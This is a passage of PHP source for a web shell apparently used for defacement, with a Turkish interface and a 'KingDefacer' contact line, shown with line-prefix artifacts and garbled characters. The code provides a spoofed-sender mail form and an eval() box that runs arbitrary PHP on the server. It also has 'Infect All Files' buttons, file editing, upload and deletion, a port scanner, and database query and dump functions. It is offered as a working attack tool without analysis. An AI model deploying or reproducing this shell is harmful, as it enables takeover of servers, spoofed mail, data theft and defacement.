|
<td valign=top><center><font face='Verdana' size='2'>FakeMail [HTML Onayl<EFBFBD>]</font></center>
|
|||
|
<center><font face='Verdana' size='1'>Kime:<br>
|
|||
|
<input type='text' size='19' name='mto'><br>
|
|||
|
Kimden:<br>
|
|||
|
<input type='text' size='19' name='mfrom'><br>
|
|||
|
Konu:<br>
|
|||
|
<input type='text' size='19' name='mobj'><br>
|
|||
|
Mesaj:<br>
|
|||
|
<textarea name='mtext' cols=20 rows=4></textarea><br>
|
|||
|
<br><input type='submit' value='Yolla' name='senm'>
|
|||
|
</form></table><br>";}
|
|||
|
if(isset($_POST['senm']))
|
|||
|
{
|
|||
|
//Mail With HTML <- webcheatsheet.com
|
|||
|
$to = $_POST['mto'];
|
|||
|
$subject = $_POST['mobj'];
|
|||
|
$contentz = $_POST['mtext']."<!--";
|
|||
|
$random_hash = md5(date('r', time()));
|
|||
|
$headers = "From: ".$_POST['mfrom']."\r\nReply-To: ".$_POST['mfrom'];
|
|||
|
$headers .= "\r\nContent-Type: multipart/alternative; boundary=\"PHP-alt-".$random_hash."\"";
|
|||
|
ob_start();
|
|||
|
?>
|
|||
|
|
|||
|
--PHP-alt-<?php echo $random_hash; ?>
|
|||
|
Content-Type: text/html; charset="iso-8859-1"
|
|||
|
Content-Transfer-Encoding: 7bit
|
|||
|
|
|||
|
<? echo "$contentz"; ?>
|
|||
|
--PHP-alt-<?php echo $random_hash; ?>--
|
|||
|
<?
|
|||
|
$message = ob_get_clean();
|
|||
|
|
|||
|
$mail = @mail( $to, $subject, $message, $headers );
|
|||
|
|
|||
|
if($mail) { echo "<br><td valign=top>
|
|||
|
<center><font color='green' size='1'>Mail Sent</font></center></table>"; }
|
|||
|
else { echo "<br><td valign=top>
|
|||
|
<center><font color='red' size='1'>Error</font></center></table>"; }
|
|||
|
}
|
|||
|
|
|||
|
elseif(isset($_POST['encoder'])) {
|
|||
|
//Encoder
|
|||
|
echo "<form method='post' action=''><td valign=top>
|
|||
|
<center><font face='Verdana' size='1'>Text:</font><br><textarea name='encod'></textarea><br><input type='submit' value='Encode' name='encode'></form></table>";
|
|||
|
}
|
|||
|
if(isset($_POST['encode'])) { echo "<td valign=top>
|
|||
|
<center><font face='Verdana' size='1'>
|
|||
|
MD5: <input type='text' size='35' value='".md5($_POST['encod'])."'><br>
|
|||
|
Sha1: <input type='text' size='35' value='".sha1($_POST['encod'])."'><br>
|
|||
|
Crc32: <input type='text' size='34' value='".crc32($_POST['encod'])."'><br><br>
|
|||
|
Base64 Encode: <input type='text' size='35' value='".base64_encode($_POST['encod'])."'><br>
|
|||
|
Base64 Decode: <input type='text' size='36' value='".base64_decode($_POST['encod'])."'></table>";}
|
|||
|
|
|||
|
//File List
|
|||
|
echo "</table><table width=100%><tr><td>
|
|||
|
<center><font size='1' face='Verdana'>Toplam Dosyalar: $fileq [$filew files and $pahtw directory] </font></center></td></tr></table>
|
|||
|
<center><table class=menuz width=100% cellspacing=0 cellpadding=0 border=0>
|
|||
|
<font size='1'>
|
|||
|
<td valign=top><font face='Verdana' size='2'><b>Dosya Ad<EFBFBD> :</b></font></td><td valign=top><font face='Verdana' size='2'><b>Tip:</b></font></td><td valign=top width=15%><font face='Verdana' size=2><b>Boyut:</b></font></td><td valign=top width=10%><font face='Verdana' size='2'><b>Perms:</b></font></td>$listf</font>
|
|||
|
</table></center>";
|
|||
|
|
|||
|
echo "
|
|||
|
<br>
|
|||
|
<table class='menu' cellspacing='0' cellpadding='0' border='0' width='100%'><tr><td valign=top>
|
|||
|
<center><b><font size='2' face='Verdana'>Server Uzerinde PHP Kodu :<br></font></b>";
|
|||
|
if(!isset($phpeval))
|
|||
|
{
|
|||
|
echo "
|
|||
|
<form method='post' action=''>
|
|||
|
<textarea name=php_eval cols=100 rows=5></textarea><br>
|
|||
|
<input type='submit' value='Calistir!'>
|
|||
|
</form>
|
|||
|
";
|
|||
|
}
|
|||
|
|
|||
|
if(isset($phpeval)) {
|
|||
|
echo "
|
|||
|
<form method='post' action=''>
|
|||
|
<textarea name=php_eval cols=100 rows=10>";
|
|||
|
$wr = '"';
|
|||
|
$eval = @str_replace("<?","",$phpeval);
|
|||
|
$eval = @str_replace("?>","",$phpeval);
|
|||
|
@eval($eval);
|
|||
|
echo "</textarea><br><input type='submit' value='Calistir!'></form>";
|
|||
|
|
|||
|
}
|
|||
|
echo "<form method='post' action=''><input type='submit' value='Infect All Files!' name='inf3ct'> - <input type='submit' value='Eval Infect Files!' name='evalinfect'><br>";
|
|||
|
if(isset($textzz)) { echo $textzz; }
|
|||
|
if(isset($textz0)) { echo $textz0; }
|
|||
|
echo "</center></form></td></tr><tr><td>
|
|||
|
<center><b><font size='2' face='Verdana'>:: Edit File ::<br></font></b>
|
|||
|
<form method='post' action=''>
|
|||
|
<input type='text' name='editfile' value=".$dir.">
|
|||
|
<input type='submit' value='Go' name='doedit'>
|
|||
|
</form>";
|
|||
|
// Edit Files n3xpl0rer
|
|||
|
if(isset($_POST['doedit']) && $_POST['editfile'] != $dir)
|
|||
|
{
|
|||
|
$file = $_POST['editfile'];
|
|||
|
$content = file_get_contents($file);
|
|||
|
echo "<form action='' method='post'><center>
|
|||
|
<input type='hidden' name='editfile' value='".$file."'>
|
|||
|
<textarea rows=20 cols=80 name='newtext'>".htmlspecialchars($content)."</textarea><br /><input type='submit' name='edit' value='Edit'></form>";
|
|||
|
}
|
|||
|
if(isset($_POST['edit'])) {
|
|||
|
$file = $_POST['editfile'];
|
|||
|
echo $file."<br />";
|
|||
|
$fh = fopen($file, "w+")or die("<font color=red>Error: cannot open file</font>");
|
|||
|
fwrite($fh, stripslashes($_POST['newtext']))or die("<font color=red>Error: cannot write to file</font>");
|
|||
|
fclose($fh);
|
|||
|
echo "Done.</td></tr>";
|
|||
|
}
|
|||
|
echo "
|
|||
|
</table>
|
|||
|
<table class='menu' cellspacing='0' cellpadding='0' border='0' width='100%'>
|
|||
|
<tr>
|
|||
|
<td valign=top>
|
|||
|
<center><b><font size='2' face='Verdana'>Dizin'e Git:<br></font></b>
|
|||
|
<form name='directory' method='post' action=''>
|
|||
|
<input type='text' name='dir' value=$dir>
|
|||
|
<input type='submit' value='Go'>
|
|||
|
</form></td><td>
|
|||
|
<center><b><font size='2' face='Verdana'> Port Taray<EFBFBD>c<EFBFBD> <br></font></b>
|
|||
|
<form name='scanner' method='post'>
|
|||
|
<input type='text' name='host' value='127.0.0.1' >
|
|||
|
<select name='protocol'>
|
|||
|
<option value='tcp'>tcp</option>
|
|||
|
<option value='udp'>udp</option>
|
|||
|
</select>
|
|||
|
<input type='submit' value='Portlar<61> TARA'>
|
|||
|
</form>
|
|||
|
";
|
|||
|
if(isset($host) && isset($proto))
|
|||
|
{
|
|||
|
echo "<font size='2' face='Verdana'>Open Ports:";
|
|||
|
|
|||
|
for($current = 0; $current <= 23; $current++)
|
|||
|
{
|
|||
|
$currents = $myports[$current];
|
|||
|
|
|||
|
$service = getservbyport($currents, $proto);
|
|||
|
|
|||
|
|
|||
|
// Try to connect to port
|
|||
|
$result = fsockopen($host, $currents, $errno, $errstr, 1);
|
|||
|
|
|||
|
// Show results
|
|||
|
if($result)
|
|||
|
{
|
|||
|
echo "$currents, ";
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
echo "</font>
|
|||
|
</td></tr>
|
|||
|
|
|||
|
<tr>
|
|||
|
<td valign=top width=50%>
|
|||
|
<center><b><font size='2' face='Verdana'>Dosya Upload<br></font></b>
|
|||
|
<form method='post' action='' enctype='multipart/form-data'>
|
|||
|
<input type='hidden' name='dare' value=$dir>
|
|||
|
<input type='file' name='ffile'>
|
|||
|
<input type='submit' name='ok' value='Upload!'>
|
|||
|
</center>
|
|||
|
</form>
|
|||
|
</td>
|
|||
|
<td valign=top>
|
|||
|
<center><b><font size='2' face='Verdana'>Dosya Sil<br></font></b>
|
|||
|
<form method='post' action=''>
|
|||
|
<input type='text' name='delete' value=$dir > <input type='submit' value='Dosyay<61> Sil' name='deletfilez'>
|
|||
|
</center>
|
|||
|
</form>
|
|||
|
</td></tr>
|
|||
|
<tr>
|
|||
|
<td valign=top>
|
|||
|
|
|||
|
<center><b><font size='2' face='Verdana'>Klas<EFBFBD>r Olu<EFBFBD>tur<br></font></b>
|
|||
|
<form method='post' action=''>
|
|||
|
<input type='text' name='makedir' value=$dir> <input type='submit' value='Olu<6C>tur'>
|
|||
|
</center>
|
|||
|
</form>
|
|||
|
</td>
|
|||
|
<td valign=top>
|
|||
|
<center><b><font size='2' face='Verdana'>Klas<EFBFBD>r Sil<br></font></b>
|
|||
|
<form method='post' action=''>
|
|||
|
<input type='text' name='deletedir' value=$dir> <input type='submit' value='Sil'>
|
|||
|
</center>
|
|||
|
</form>
|
|||
|
</td></tr>
|
|||
|
<tr>
|
|||
|
<td valign=top width=50%>
|
|||
|
<center><b><font size='2' face='Verdana'>Dosya Olu<EFBFBD>tur:<br></font></b>
|
|||
|
<form method='post' action=''>
|
|||
|
<input type='hidden' name='darezz' value=$dir>
|
|||
|
<font size='1' face='Verdana'>ADI:</font><br>
|
|||
|
<input type='text' name='names' size='30'><br>
|
|||
|
<font size='1' face='Verdana'>Kodu:</font><br>
|
|||
|
<textarea rows='16' cols='30' name='source'></textarea><br>
|
|||
|
<input type='submit' value='Upload'>
|
|||
|
</center>
|
|||
|
</form>
|
|||
|
</td>
|
|||
|
<td valign=top width=50%>
|
|||
|
<center><b><font size='2' face='Verdana'>Database<br></font></b>
|
|||
|
<form method='post' action=''>
|
|||
|
<font size='1' face='Verdana'>Username: - Password:</font><br>
|
|||
|
<input type='text' name='user' size='10'>
|
|||
|
<input type='text' name='passd' size='10'><br>
|
|||
|
<font size='1' face='Verdana'>Host:</font><br>
|
|||
|
<input type='text' name='host' value='localhost'><br>
|
|||
|
<font size='1' face='Verdana'>DB Name:</font><br>
|
|||
|
<input type='text' name='db'><br>
|
|||
|
<font size='1' face='Verdana'>Sorgu:</font><br>
|
|||
|
<textarea rows='10' cols='30' name='query'></textarea><br>
|
|||
|
<input type='submit' value='Sorguyu Calistir' name='godb'><br><input type='submit' name='dump' value='Database'yi Dump Et'>
|
|||
|
</center>
|
|||
|
</form>
|
|||
|
</td> </tr>
|
|||
|
|
|||
|
</table>
|
|||
|
</table>
|
|||
|
<br />
|
|||
|
<table class='menu' cellspacing='0' cellpadding='0' border='0' width='100%'>
|
|||
|
<tr>
|
|||
|
<td valign=top>
|
|||
|
<center><b><font size='1' face='Verdana'>
|
|||
|
KingDefacer@msn.com
|
|||
|
</center></font></td></tr>
|
|||
|
</body>
|
|||
|
</html>";
|
|||
|
|
|||
|
?>
|